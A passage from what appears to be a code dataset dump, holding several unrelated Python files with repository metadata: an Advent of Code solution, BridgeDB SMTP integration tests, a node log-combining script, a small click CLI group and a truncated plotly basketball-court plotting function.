def add_geo(self, sim, params, only_update):
sim.fdtd.switchtolayout()
if params is None:
return self.func(self.current_params, sim.fdtd, only_update)
else:
return self.func(params, sim.fdtd, only_update)
| true | true |
f7261d7103b3c953a4264b678c7599501789f591 | 1,580 | py | Python | 2020/python/day-15-cleaned.py | tadhg-ohiggins/advent-of-code | d0f113955940e69cbe0953607f62862f8a8bb830 | [
"CC0-1.0"
] | 1 | 2021-12-04T18:09:44.000Z | 2021-12-04T18:09:44.000Z | 2020/python/day-15-cleaned.py | tadhg-ohiggins/advent-of-code | d0f113955940e69cbe0953607f62862f8a8bb830 | [
"CC0-1.0"
] | null | null | null | 2020/python/day-15-cleaned.py | tadhg-ohiggins/advent-of-code | d0f113955940e69cbe0953607f62862f8a8bb830 | [
"CC0-1.0"
] | null | null | null | from functools import partial
from itertools import count
from typing import List
from tutils import lmap, splitstrip, load_and_process_input
DAY = "15"
INPUT = f"input-{DAY}.txt"
ANSWER1 = 240
ANSWER2 = 505
testdata = [
([0, 3, 6], 2020, 436),
([1, 3, 2], 2020, 1),
([2, 1, 3], 2020, 10),
([1, 2, 3], 2020, 27),
([2, 3, 1], 2020, 78),
([3, 2, 1], 2020, 438),
([3, 1, 2], 2020, 1836),
]
def find_nth_number(numbers: List[int], ordinal: int) -> int:
positions = {x: i for i, x in enumerate(numbers)}
for index in count(len(numbers) - 1):
current = numbers[index]
lastpos = positions.get(current, False)
positions[current] = index
steps_back = 0 if lastpos is False else index - lastpos
numbers.append(steps_back)
if len(numbers) == ordinal:
break
return steps_back
def process(numbers: List[int], ordinal: int) -> int:
return find_nth_number(numbers, ordinal)
def cli_main() -> None:
input_funcs = [
partial(str.strip),
partial(splitstrip, sep=","),
partial(lmap, int),
]
numbers = load_and_process_input(INPUT, input_funcs)
for nums, ordinal, tanswer in testdata:
testanswer = find_nth_number(nums, ordinal)
assert testanswer == tanswer
answer_one = process(numbers[:], 2020)
assert answer_one == ANSWER1
print("Answer one:", answer_one)
answer_two = process(numbers[:], 30000000)
assert answer_two == ANSWER2
print("Answer two:", answer_two)
if __name__ == "__main__":
cli_main()
| 26.333333 | 63 | 0.621519 | from functools import partial
from itertools import count
from typing import List
from tutils import lmap, splitstrip, load_and_process_input
DAY = "15"
INPUT = f"input-{DAY}.txt"
ANSWER1 = 240
ANSWER2 = 505
testdata = [
([0, 3, 6], 2020, 436),
([1, 3, 2], 2020, 1),
([2, 1, 3], 2020, 10),
([1, 2, 3], 2020, 27),
([2, 3, 1], 2020, 78),
([3, 2, 1], 2020, 438),
([3, 1, 2], 2020, 1836),
]
def find_nth_number(numbers: List[int], ordinal: int) -> int:
positions = {x: i for i, x in enumerate(numbers)}
for index in count(len(numbers) - 1):
current = numbers[index]
lastpos = positions.get(current, False)
positions[current] = index
steps_back = 0 if lastpos is False else index - lastpos
numbers.append(steps_back)
if len(numbers) == ordinal:
break
return steps_back
def process(numbers: List[int], ordinal: int) -> int:
return find_nth_number(numbers, ordinal)
def cli_main() -> None:
input_funcs = [
partial(str.strip),
partial(splitstrip, sep=","),
partial(lmap, int),
]
numbers = load_and_process_input(INPUT, input_funcs)
for nums, ordinal, tanswer in testdata:
testanswer = find_nth_number(nums, ordinal)
assert testanswer == tanswer
answer_one = process(numbers[:], 2020)
assert answer_one == ANSWER1
print("Answer one:", answer_one)
answer_two = process(numbers[:], 30000000)
assert answer_two == ANSWER2
print("Answer two:", answer_two)
if __name__ == "__main__":
cli_main()
| true | true |
f7261da738c0c2709539722e8b91f6ba23d28fd1 | 8,211 | py | Python | bridgedb/test/test_smtp.py | jugheadjones10/bridgedb | 94d6bca4b22458c156898785d8f6ccedf562d884 | [
"BSD-3-Clause-Clear"
] | null | null | null | bridgedb/test/test_smtp.py | jugheadjones10/bridgedb | 94d6bca4b22458c156898785d8f6ccedf562d884 | [
"BSD-3-Clause-Clear"
] | null | null | null | bridgedb/test/test_smtp.py | jugheadjones10/bridgedb | 94d6bca4b22458c156898785d8f6ccedf562d884 | [
"BSD-3-Clause-Clear"
] | null | null | null | """integration tests for BridgeDB ."""
from __future__ import print_function
import smtplib
import asyncore
import threading
import queue
import random
import os
from smtpd import SMTPServer
from twisted.trial import unittest
from twisted.trial.unittest import FailTest
from twisted.trial.unittest import SkipTest
from bridgedb.test.util import processExists
from bridgedb.test.util import getBridgeDBPID
# ------------- SMTP Client Config
SMTP_DEBUG_LEVEL = 0 # set to 1 to see SMTP message exchange
BRIDGEDB_SMTP_SERVER_ADDRESS = "localhost"
BRIDGEDB_SMTP_SERVER_PORT = 6725
# %d is parameterised with a random integer to make the sender unique
FROM_ADDRESS_TEMPLATE = "test%d@127.0.0.1"
# Minimum value used to parameterise FROM_ADDRESS_TEMPLATE
MIN_FROM_ADDRESS = 1
# Max value used to parameterise FROM_ADDRESS_TEMPLATE. Needs to be pretty big
# to reduce the chance of collisions
MAX_FROM_ADDRESS = 10**8
TO_ADDRESS = "bridges@torproject.org"
MESSAGE_TEMPLATE = """From: %s
To: %s
Subject: testing
get bridges"""
# ------------- SMTP Server Setup
# Setup an SMTP server which we use to check for responses
# from bridgedb. This needs to be done before sending the actual mail
LOCAL_SMTP_SERVER_ADDRESS = 'localhost'
LOCAL_SMTP_SERVER_PORT = 2525 # Must be the same as bridgedb's EMAIL_SMTP_PORT
class EmailServer(SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
''' Overridden from SMTP server, called whenever a message is received'''
self.message_queue.put(data)
def thread_proc(self):
''' This function runs in thread, and will continue looping
until the _stop Event object is set by the stop() function'''
while self._stop.is_set() == False:
asyncore.loop(timeout=0.0, count=1)
# Must close, or asyncore will hold on to the socket and subsequent
# tests will fail with 'Address not in use'.
self.close()
def start(self):
self.message_queue = queue.Queue()
self._stop = threading.Event()
self._thread = threading.Thread(target=self.thread_proc)
# Ensures that if any tests do fail, then threads will exit when the
# parent exits.
self._thread.setDaemon(True)
self._thread.start()
@classmethod
def startServer(cls):
#print("Starting SMTP server on %s:%s"
# % (LOCAL_SMTP_SERVER_ADDRESS, LOCAL_SMTP_SERVER_PORT))
server = EmailServer((LOCAL_SMTP_SERVER_ADDRESS,
LOCAL_SMTP_SERVER_PORT),
None)
server.start()
return server
def stop(self):
# Signal thread_proc to stop:
self._stop.set()
# Wait for thread_proc to return (shouldn't take long)
self._thread.join()
assert self._thread.is_alive() == False, "Thread is alive and kicking"
def getAndCheckMessageContains(self, text, timeoutInSecs=2.0):
try:
message = self.message_queue.get(block=True, timeout=timeoutInSecs)
# Queue.Empty, according to its documentation, is only supposed to be
# raised when Queue.get(block=False) or Queue.get_nowait() are called.
# I've no idea why it's getting raised here, when we're blocking for
# it, but nonetheless it causes occasional, non-deterministic CI
# failures:
#
# https://travis-ci.org/isislovecruft/bridgedb/jobs/58996136#L3281
except queue.Empty:
pass
else:
assert message.find(text) != -1, ("Message did not contain text '%s'."
"Full message is:\n %s"
% (text, message))
def checkNoMessageReceived(self, timeoutInSecs=2.0):
try:
self.message_queue.get(block=True, timeout=timeoutInSecs)
except queue.Empty:
return True
assert False, "Found a message in the queue, but expected none"
def sendMail(fromAddress):
#print("Connecting to %s:%d"
# % (BRIDGEDB_SMTP_SERVER_ADDRESS, BRIDGEDB_SMTP_SERVER_PORT))
client = smtplib.SMTP(BRIDGEDB_SMTP_SERVER_ADDRESS,
BRIDGEDB_SMTP_SERVER_PORT)
client.set_debuglevel(SMTP_DEBUG_LEVEL)
#print("Sending mail TO:%s, FROM:%s"
# % (TO_ADDRESS, fromAddress))
result = client.sendmail(fromAddress, TO_ADDRESS,
MESSAGE_TEMPLATE % (fromAddress, TO_ADDRESS))
assert result == {}, "Failed to send mail"
client.quit()
class SMTPTests(unittest.TestCase):
def setUp(self):
'''Called at the start of each test, ensures that the SMTP server is
running.
'''
here = os.getcwd()
topdir = here.rstrip('_trial_temp')
self.rundir = os.path.join(topdir, 'run')
self.pidfile = os.path.join(self.rundir, 'bridgedb.pid')
self.pid = getBridgeDBPID(self.pidfile)
self.server = EmailServer.startServer()
def tearDown(self):
'''Called after each test, ensures that the SMTP server is cleaned up.
'''
self.server.stop()
def test_getBridges(self):
if os.environ.get("CI"):
if not self.pid or not processExists(self.pid):
raise FailTest("Could not start BridgeDB process on CI server!")
if not self.pid or not processExists(self.pid):
raise SkipTest("Can't run test: no BridgeDB process running.")
# send the mail to bridgedb, choosing a random email address
sendMail(fromAddress=FROM_ADDRESS_TEMPLATE
% random.randint(MIN_FROM_ADDRESS, MAX_FROM_ADDRESS))
# then check that our local SMTP server received a response
# and that response contained some bridges
self.server.getAndCheckMessageContains(b"Here are your bridges")
def test_getBridges_rateLimitExceeded(self):
if os.environ.get("CI"):
if not self.pid or not processExists(self.pid):
raise FailTest("Could not start BridgeDB process on CI server!")
if not self.pid or not processExists(self.pid):
raise SkipTest("Can't run test: no BridgeDB process running.")
# send the mail to bridgedb, choosing a random email address
FROM_ADDRESS = FROM_ADDRESS_TEMPLATE % random.randint(
MIN_FROM_ADDRESS, MAX_FROM_ADDRESS)
sendMail(FROM_ADDRESS)
# then check that our local SMTP server received a response
# and that response contained some bridges
self.server.getAndCheckMessageContains(b"Here are your bridges")
# send another request from the same email address
sendMail(FROM_ADDRESS)
# this time, the email response should not contain any bridges
self.server.getAndCheckMessageContains(
b"You have exceeded the rate limit. Please slow down!")
# then we send another request from the same email address
sendMail(FROM_ADDRESS)
# now there should be no response at all (wait 1 second to make sure)
self.server.checkNoMessageReceived(timeoutInSecs=1.0)
def test_getBridges_stressTest(self):
'''Sends a large number of emails in a short period of time, and checks
that a response is received for each message.
'''
if os.environ.get("CI"):
if not self.pid or not processExists(self.pid):
raise FailTest("Could not start BridgeDB process on CI server!")
if not self.pid or not processExists(self.pid):
raise SkipTest("Can't run test: no BridgeDB process running.")
NUM_MAILS = 100
for i in range(NUM_MAILS):
# Note: if by chance two emails with the same FROM_ADDRESS are
# generated, this test will fail Setting 'MAX_FROM_ADDRESS' to be
# a high value reduces the probability of this occuring, but does
# not rule it out
sendMail(fromAddress=FROM_ADDRESS_TEMPLATE
% random.randint(MIN_FROM_ADDRESS, MAX_FROM_ADDRESS))
for i in range(NUM_MAILS):
self.server.getAndCheckMessageContains(b"Here are your bridges")
| 39.666667 | 82 | 0.657776 |
from __future__ import print_function
import smtplib
import asyncore
import threading
import queue
import random
import os
from smtpd import SMTPServer
from twisted.trial import unittest
from twisted.trial.unittest import FailTest
from twisted.trial.unittest import SkipTest
from bridgedb.test.util import processExists
from bridgedb.test.util import getBridgeDBPID
SMTP_DEBUG_LEVEL = 0
BRIDGEDB_SMTP_SERVER_ADDRESS = "localhost"
BRIDGEDB_SMTP_SERVER_PORT = 6725
FROM_ADDRESS_TEMPLATE = "test%d@127.0.0.1"
MIN_FROM_ADDRESS = 1
MAX_FROM_ADDRESS = 10**8
TO_ADDRESS = "bridges@torproject.org"
MESSAGE_TEMPLATE = """From: %s
To: %s
Subject: testing
get bridges"""
LOCAL_SMTP_SERVER_ADDRESS = 'localhost'
LOCAL_SMTP_SERVER_PORT = 2525
class EmailServer(SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
self.message_queue.put(data)
def thread_proc(self):
while self._stop.is_set() == False:
asyncore.loop(timeout=0.0, count=1)
# Must close, or asyncore will hold on to the socket and subsequent
# tests will fail with 'Address not in use'.
self.close()
def start(self):
self.message_queue = queue.Queue()
self._stop = threading.Event()
self._thread = threading.Thread(target=self.thread_proc)
# Ensures that if any tests do fail, then threads will exit when the
# parent exits.
self._thread.setDaemon(True)
self._thread.start()
@classmethod
def startServer(cls):
#print("Starting SMTP server on %s:%s"
# % (LOCAL_SMTP_SERVER_ADDRESS, LOCAL_SMTP_SERVER_PORT))
server = EmailServer((LOCAL_SMTP_SERVER_ADDRESS,
LOCAL_SMTP_SERVER_PORT),
None)
server.start()
return server
def stop(self):
# Signal thread_proc to stop:
self._stop.set()
# Wait for thread_proc to return (shouldn't take long)
self._thread.join()
assert self._thread.is_alive() == False, "Thread is alive and kicking"
def getAndCheckMessageContains(self, text, timeoutInSecs=2.0):
try:
message = self.message_queue.get(block=True, timeout=timeoutInSecs)
# it, but nonetheless it causes occasional, non-deterministic CI
# failures:
#
# https://travis-ci.org/isislovecruft/bridgedb/jobs/58996136#L3281
except queue.Empty:
pass
else:
assert message.find(text) != -1, ("Message did not contain text '%s'."
"Full message is:\n %s"
% (text, message))
def checkNoMessageReceived(self, timeoutInSecs=2.0):
try:
self.message_queue.get(block=True, timeout=timeoutInSecs)
except queue.Empty:
return True
assert False, "Found a message in the queue, but expected none"
def sendMail(fromAddress):
#print("Connecting to %s:%d"
# % (BRIDGEDB_SMTP_SERVER_ADDRESS, BRIDGEDB_SMTP_SERVER_PORT))
client = smtplib.SMTP(BRIDGEDB_SMTP_SERVER_ADDRESS,
BRIDGEDB_SMTP_SERVER_PORT)
client.set_debuglevel(SMTP_DEBUG_LEVEL)
#print("Sending mail TO:%s, FROM:%s"
# % (TO_ADDRESS, fromAddress))
result = client.sendmail(fromAddress, TO_ADDRESS,
MESSAGE_TEMPLATE % (fromAddress, TO_ADDRESS))
assert result == {}, "Failed to send mail"
client.quit()
class SMTPTests(unittest.TestCase):
def setUp(self):
here = os.getcwd()
topdir = here.rstrip('_trial_temp')
self.rundir = os.path.join(topdir, 'run')
self.pidfile = os.path.join(self.rundir, 'bridgedb.pid')
self.pid = getBridgeDBPID(self.pidfile)
self.server = EmailServer.startServer()
def tearDown(self):
self.server.stop()
def test_getBridges(self):
if os.environ.get("CI"):
if not self.pid or not processExists(self.pid):
raise FailTest("Could not start BridgeDB process on CI server!")
if not self.pid or not processExists(self.pid):
raise SkipTest("Can't run test: no BridgeDB process running.")
sendMail(fromAddress=FROM_ADDRESS_TEMPLATE
% random.randint(MIN_FROM_ADDRESS, MAX_FROM_ADDRESS))
self.server.getAndCheckMessageContains(b"Here are your bridges")
def test_getBridges_rateLimitExceeded(self):
if os.environ.get("CI"):
if not self.pid or not processExists(self.pid):
raise FailTest("Could not start BridgeDB process on CI server!")
if not self.pid or not processExists(self.pid):
raise SkipTest("Can't run test: no BridgeDB process running.")
# send the mail to bridgedb, choosing a random email address
FROM_ADDRESS = FROM_ADDRESS_TEMPLATE % random.randint(
MIN_FROM_ADDRESS, MAX_FROM_ADDRESS)
sendMail(FROM_ADDRESS)
# then check that our local SMTP server received a response
# and that response contained some bridges
self.server.getAndCheckMessageContains(b"Here are your bridges")
# send another request from the same email address
sendMail(FROM_ADDRESS)
# this time, the email response should not contain any bridges
self.server.getAndCheckMessageContains(
b"You have exceeded the rate limit. Please slow down!")
# then we send another request from the same email address
sendMail(FROM_ADDRESS)
# now there should be no response at all (wait 1 second to make sure)
self.server.checkNoMessageReceived(timeoutInSecs=1.0)
def test_getBridges_stressTest(self):
if os.environ.get("CI"):
if not self.pid or not processExists(self.pid):
raise FailTest("Could not start BridgeDB process on CI server!")
if not self.pid or not processExists(self.pid):
raise SkipTest("Can't run test: no BridgeDB process running.")
NUM_MAILS = 100
for i in range(NUM_MAILS):
sendMail(fromAddress=FROM_ADDRESS_TEMPLATE
% random.randint(MIN_FROM_ADDRESS, MAX_FROM_ADDRESS))
for i in range(NUM_MAILS):
self.server.getAndCheckMessageContains(b"Here are your bridges")
| true | true |
f7261de6c7c541d6de5d6ee3125ac35b2d456e80 | 7,792 | py | Python | test/functional/combine_logs.py | Techcoingithub/techcoin | 6914faea0496d16d85f4f11fc1ae2ba05e9143b8 | [
"MIT"
] | null | null | null | test/functional/combine_logs.py | Techcoingithub/techcoin | 6914faea0496d16d85f4f11fc1ae2ba05e9143b8 | [
"MIT"
] | 1 | 2021-11-30T18:41:44.000Z | 2022-01-17T17:55:26.000Z | test/functional/combine_logs.py | Techcoingithub/techcoin | 6914faea0496d16d85f4f11fc1ae2ba05e9143b8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2017-2019 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Combine logs from multiple techcoin nodes as well as the test_framework log.
This streams the combined log output to stdout. Use combine_logs.py > outputfile
to write to an outputfile.
If no argument is provided, the most recent test directory will be used."""
import argparse
from collections import defaultdict, namedtuple
import heapq
import itertools
import os
import pathlib
import re
import sys
import tempfile
# N.B.: don't import any local modules here - this script must remain executable
# without the parent module installed.
# Should match same symbol in `test_framework.test_framework`.
TMPDIR_PREFIX = "techcoin_func_test_"
# Matches on the date format at the start of the log event
TIMESTAMP_PATTERN = re.compile(r"^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{6})?Z")
LogEvent = namedtuple('LogEvent', ['timestamp', 'source', 'event'])
def main():
"""Main function. Parses args, reads the log files and renders them as text or html."""
parser = argparse.ArgumentParser(
description=__doc__, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument(
'testdir', nargs='?', default='',
help=('temporary test directory to combine logs from. '
'Defaults to the most recent'))
parser.add_argument('-c', '--color', dest='color', action='store_true', help='outputs the combined log with events colored by source (requires posix terminal colors. Use less -r for viewing)')
parser.add_argument('--html', dest='html', action='store_true', help='outputs the combined log as html. Requires jinja2. pip install jinja2')
args = parser.parse_args()
if args.html and args.color:
print("Only one out of --color or --html should be specified")
sys.exit(1)
testdir = args.testdir or find_latest_test_dir()
if not testdir:
print("No test directories found")
sys.exit(1)
if not args.testdir:
print("Opening latest test directory: {}".format(testdir), file=sys.stderr)
colors = defaultdict(lambda: '')
if args.color:
colors["test"] = "\033[0;36m" # CYAN
colors["node0"] = "\033[0;34m" # BLUE
colors["node1"] = "\033[0;32m" # GREEN
colors["node2"] = "\033[0;31m" # RED
colors["node3"] = "\033[0;33m" # YELLOW
colors["reset"] = "\033[0m" # Reset font color
log_events = read_logs(testdir)
if args.html:
print_logs_html(log_events)
else:
print_logs_plain(log_events, colors)
print_node_warnings(testdir, colors)
def read_logs(tmp_dir):
"""Reads log files.
Delegates to generator function get_log_events() to provide individual log events
for each of the input log files."""
# Find out what the folder is called that holds the debug.log file
glob = pathlib.Path(tmp_dir).glob('node0/**/debug.log')
path = next(glob, None)
if path:
assert next(glob, None) is None # more than one debug.log, should never happen
chain = re.search(r'node0/(.+?)/debug\.log$', path.as_posix()).group(1) # extract the chain name
else:
chain = 'regtest' # fallback to regtest (should only happen when none exists)
files = [("test", "%s/test_framework.log" % tmp_dir)]
for i in itertools.count():
logfile = "{}/node{}/{}/debug.log".format(tmp_dir, i, chain)
if not os.path.isfile(logfile):
break
files.append(("node%d" % i, logfile))
return heapq.merge(*[get_log_events(source, f) for source, f in files])
def print_node_warnings(tmp_dir, colors):
"""Print nodes' errors and warnings"""
warnings = []
for stream in ['stdout', 'stderr']:
for i in itertools.count():
folder = "{}/node{}/{}".format(tmp_dir, i, stream)
if not os.path.isdir(folder):
break
for (_, _, fns) in os.walk(folder):
for fn in fns:
warning = pathlib.Path('{}/{}'.format(folder, fn)).read_text().strip()
if warning:
warnings.append(("node{} {}".format(i, stream), warning))
print()
for w in warnings:
print("{} {} {} {}".format(colors[w[0].split()[0]], w[0], w[1], colors["reset"]))
def find_latest_test_dir():
"""Returns the latest tmpfile test directory prefix."""
tmpdir = tempfile.gettempdir()
def join_tmp(basename):
return os.path.join(tmpdir, basename)
def is_valid_test_tmpdir(basename):
fullpath = join_tmp(basename)
return (
os.path.isdir(fullpath)
and basename.startswith(TMPDIR_PREFIX)
and os.access(fullpath, os.R_OK)
)
testdir_paths = [
join_tmp(name) for name in os.listdir(tmpdir) if is_valid_test_tmpdir(name)
]
return max(testdir_paths, key=os.path.getmtime) if testdir_paths else None
def get_log_events(source, logfile):
"""Generator function that returns individual log events.
Log events may be split over multiple lines. We use the timestamp
regex match as the marker for a new log event."""
try:
with open(logfile, 'r', encoding='utf-8') as infile:
event = ''
timestamp = ''
for line in infile:
# skip blank lines
if line == '\n':
continue
# if this line has a timestamp, it's the start of a new log event.
time_match = TIMESTAMP_PATTERN.match(line)
if time_match:
if event:
yield LogEvent(timestamp=timestamp, source=source, event=event.rstrip())
timestamp = time_match.group()
if time_match.group(1) is None:
# timestamp does not have microseconds. Add zeroes.
timestamp_micro = timestamp.replace("Z", ".000000Z")
line = line.replace(timestamp, timestamp_micro)
timestamp = timestamp_micro
event = line
# if it doesn't have a timestamp, it's a continuation line of the previous log.
else:
# Add the line. Prefix with space equivalent to the source + timestamp so log lines are aligned
event += " " + line
# Flush the final event
yield LogEvent(timestamp=timestamp, source=source, event=event.rstrip())
except FileNotFoundError:
print("File %s could not be opened. Continuing without it." % logfile, file=sys.stderr)
def print_logs_plain(log_events, colors):
"""Renders the iterator of log events into text."""
for event in log_events:
lines = event.event.splitlines()
print("{0} {1: <5} {2} {3}".format(colors[event.source.rstrip()], event.source, lines[0], colors["reset"]))
if len(lines) > 1:
for line in lines[1:]:
print("{0}{1}{2}".format(colors[event.source.rstrip()], line, colors["reset"]))
def print_logs_html(log_events):
"""Renders the iterator of log events into html."""
try:
import jinja2
except ImportError:
print("jinja2 not found. Try `pip install jinja2`")
sys.exit(1)
print(jinja2.Environment(loader=jinja2.FileSystemLoader('./'))
.get_template('combined_log_template.html')
.render(title="Combined Logs from testcase", log_events=[event._asdict() for event in log_events]))
if __name__ == '__main__':
main()
| 38.574257 | 196 | 0.617941 |
import argparse
from collections import defaultdict, namedtuple
import heapq
import itertools
import os
import pathlib
import re
import sys
import tempfile
# without the parent module installed.
# Should match same symbol in `test_framework.test_framework`.
TMPDIR_PREFIX = "techcoin_func_test_"
# Matches on the date format at the start of the log event
TIMESTAMP_PATTERN = re.compile(r"^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{6})?Z")
LogEvent = namedtuple('LogEvent', ['timestamp', 'source', 'event'])
def main():
parser = argparse.ArgumentParser(
description=__doc__, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument(
'testdir', nargs='?', default='',
help=('temporary test directory to combine logs from. '
'Defaults to the most recent'))
parser.add_argument('-c', '--color', dest='color', action='store_true', help='outputs the combined log with events colored by source (requires posix terminal colors. Use less -r for viewing)')
parser.add_argument('--html', dest='html', action='store_true', help='outputs the combined log as html. Requires jinja2. pip install jinja2')
args = parser.parse_args()
if args.html and args.color:
print("Only one out of --color or --html should be specified")
sys.exit(1)
testdir = args.testdir or find_latest_test_dir()
if not testdir:
print("No test directories found")
sys.exit(1)
if not args.testdir:
print("Opening latest test directory: {}".format(testdir), file=sys.stderr)
colors = defaultdict(lambda: '')
if args.color:
colors["test"] = "\033[0;36m" # CYAN
colors["node0"] = "\033[0;34m" # BLUE
colors["node1"] = "\033[0;32m" # GREEN
colors["node2"] = "\033[0;31m" # RED
colors["node3"] = "\033[0;33m" # YELLOW
colors["reset"] = "\033[0m" # Reset font color
log_events = read_logs(testdir)
if args.html:
print_logs_html(log_events)
else:
print_logs_plain(log_events, colors)
print_node_warnings(testdir, colors)
def read_logs(tmp_dir):
# Find out what the folder is called that holds the debug.log file
glob = pathlib.Path(tmp_dir).glob('node0/**/debug.log')
path = next(glob, None)
if path:
assert next(glob, None) is None # more than one debug.log, should never happen
chain = re.search(r'node0/(.+?)/debug\.log$', path.as_posix()).group(1) # extract the chain name
else:
chain = 'regtest' # fallback to regtest (should only happen when none exists)
files = [("test", "%s/test_framework.log" % tmp_dir)]
for i in itertools.count():
logfile = "{}/node{}/{}/debug.log".format(tmp_dir, i, chain)
if not os.path.isfile(logfile):
break
files.append(("node%d" % i, logfile))
return heapq.merge(*[get_log_events(source, f) for source, f in files])
def print_node_warnings(tmp_dir, colors):
warnings = []
for stream in ['stdout', 'stderr']:
for i in itertools.count():
folder = "{}/node{}/{}".format(tmp_dir, i, stream)
if not os.path.isdir(folder):
break
for (_, _, fns) in os.walk(folder):
for fn in fns:
warning = pathlib.Path('{}/{}'.format(folder, fn)).read_text().strip()
if warning:
warnings.append(("node{} {}".format(i, stream), warning))
print()
for w in warnings:
print("{} {} {} {}".format(colors[w[0].split()[0]], w[0], w[1], colors["reset"]))
def find_latest_test_dir():
tmpdir = tempfile.gettempdir()
def join_tmp(basename):
return os.path.join(tmpdir, basename)
def is_valid_test_tmpdir(basename):
fullpath = join_tmp(basename)
return (
os.path.isdir(fullpath)
and basename.startswith(TMPDIR_PREFIX)
and os.access(fullpath, os.R_OK)
)
testdir_paths = [
join_tmp(name) for name in os.listdir(tmpdir) if is_valid_test_tmpdir(name)
]
return max(testdir_paths, key=os.path.getmtime) if testdir_paths else None
def get_log_events(source, logfile):
try:
with open(logfile, 'r', encoding='utf-8') as infile:
event = ''
timestamp = ''
for line in infile:
# skip blank lines
if line == '\n':
continue
# if this line has a timestamp, it's the start of a new log event.
time_match = TIMESTAMP_PATTERN.match(line)
if time_match:
if event:
yield LogEvent(timestamp=timestamp, source=source, event=event.rstrip())
timestamp = time_match.group()
if time_match.group(1) is None:
timestamp_micro = timestamp.replace("Z", ".000000Z")
line = line.replace(timestamp, timestamp_micro)
timestamp = timestamp_micro
event = line
else:
event += " " + line
yield LogEvent(timestamp=timestamp, source=source, event=event.rstrip())
except FileNotFoundError:
print("File %s could not be opened. Continuing without it." % logfile, file=sys.stderr)
def print_logs_plain(log_events, colors):
for event in log_events:
lines = event.event.splitlines()
print("{0} {1: <5} {2} {3}".format(colors[event.source.rstrip()], event.source, lines[0], colors["reset"]))
if len(lines) > 1:
for line in lines[1:]:
print("{0}{1}{2}".format(colors[event.source.rstrip()], line, colors["reset"]))
def print_logs_html(log_events):
try:
import jinja2
except ImportError:
print("jinja2 not found. Try `pip install jinja2`")
sys.exit(1)
print(jinja2.Environment(loader=jinja2.FileSystemLoader('./'))
.get_template('combined_log_template.html')
.render(title="Combined Logs from testcase", log_events=[event._asdict() for event in log_events]))
if __name__ == '__main__':
main()
| true | true |
f7261e37ae3b0a363433aacc10d91805d93f9dcf | 391 | py | Python | src/create_github_project/commands/versions/__init__.py | nkomiya/create-github-project | e60028a3edf0fdee2f76ffd26296e01588235324 | [
"MIT"
] | 1 | 2021-08-20T08:28:45.000Z | 2021-08-20T08:28:45.000Z | src/create_github_project/commands/versions/__init__.py | nkomiya/create-github-project | e60028a3edf0fdee2f76ffd26296e01588235324 | [
"MIT"
] | 37 | 2021-07-24T11:47:28.000Z | 2021-08-08T19:23:24.000Z | src/create_github_project/commands/versions/__init__.py | nkomiya/create-github-project | e60028a3edf0fdee2f76ffd26296e01588235324 | [
"MIT"
] | null | null | null | import click
from .current import current
from .update import update
__all__ = [
'build'
]
@click.group(help='Manage tool versions.')
def versions() -> None:
pass
def build(cmd: click.Group) -> None:
"""親コマンドにサブコマンドを追加する。
Args:
cmd (click.Group): 親コマンド
"""
versions.add_command(current)
versions.add_command(update)
cmd.add_command(versions)
| 14.481481 | 42 | 0.657289 | import click
from .current import current
from .update import update
__all__ = [
'build'
]
@click.group(help='Manage tool versions.')
def versions() -> None:
pass
def build(cmd: click.Group) -> None:
versions.add_command(current)
versions.add_command(update)
cmd.add_command(versions)
| true | true |
f7261ecb34d10b321947c71f2d29ac44db652fb3 | 20,071 | py | Python | vis/visualize_court.py | szhaofelicia/sgan | ead42d4bb3b1278c4c9ffcae8fa9c2dc036a52ff | [
"MIT"
] | 3 | 2022-01-02T16:58:39.000Z | 2022-02-07T08:29:48.000Z | vis/visualize_court.py | szhaofelicia/sgan | ead42d4bb3b1278c4c9ffcae8fa9c2dc036a52ff | [
"MIT"
] | null | null | null | vis/visualize_court.py | szhaofelicia/sgan | ead42d4bb3b1278c4c9ffcae8fa9c2dc036a52ff | [
"MIT"
] | null | null | null | import numpy as np
# import plotly
import plotly.graph_objects as go
def draw_plotly_half_court(fig, fig_width=600, margins=10):
# From: https://community.plot.ly/t/arc-shape-with-path/7205/5
def ellipse_arc(x_center=0.0, y_center=0.0, a=10.5, b=10.5, start_angle=0.0, end_angle=2 * np.pi, N=200, closed=False):
t = np.linspace(start_angle, end_angle, N)
x = x_center + a * np.cos(t)
y = y_center + b * np.sin(t)
path = f'M {x[0]}, {y[0]}'
for k in range(1, len(t)):
path += f'L{x[k]}, {y[k]}'
if closed:
path += ' Z'
return path
fig_height = fig_width * (470 + 2 * margins) / (500 + 2 * margins)
fig.update_layout(width=fig_width, height=fig_height)
# Set axes ranges
fig.update_xaxes(range=[-250 - margins, 250 + margins])
fig.update_yaxes(range=[-52.5 - margins, 417.5 + margins])
threept_break_y = 89.47765084
three_line_col = "#777777"
main_line_col = "#777777"
fig.update_layout(
# Line Horizontal
margin=dict(l=20, r=20, t=20, b=20),
paper_bgcolor="white",
plot_bgcolor="white",
yaxis=dict(
scaleanchor="x",
scaleratio=1,
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
xaxis=dict(
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
shapes=[
# half_layout=[
dict(
type="rect", x0=-250, y0=-52.5, x1=250, y1=417.5,
line=dict(color=main_line_col, width=1),
# fillcolor='#333333',
layer='below'
), ## sideline rect
dict(
type="rect", x0=-80, y0=-52.5, x1=80, y1=137.5,
line=dict(color=main_line_col, width=1),
# fillcolor='#333333',
layer='below'
),# lane line rect
dict(
type="rect", x0=-60, y0=-52.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
# fillcolor='#333333',
layer='below'
), # foul line rect
dict(
type="circle", x0=-60, y0=77.5, x1=60, y1=197.5, xref="x", yref="y",
line=dict(color=main_line_col, width=1),
# fillcolor='#dddddd',
layer='below'
), # free-throw circle
dict(
type="line", x0=-60, y0=137.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
), # foul line
dict(
type="rect", x0=-2, y0=-7.25, x1=2, y1=-12.5,
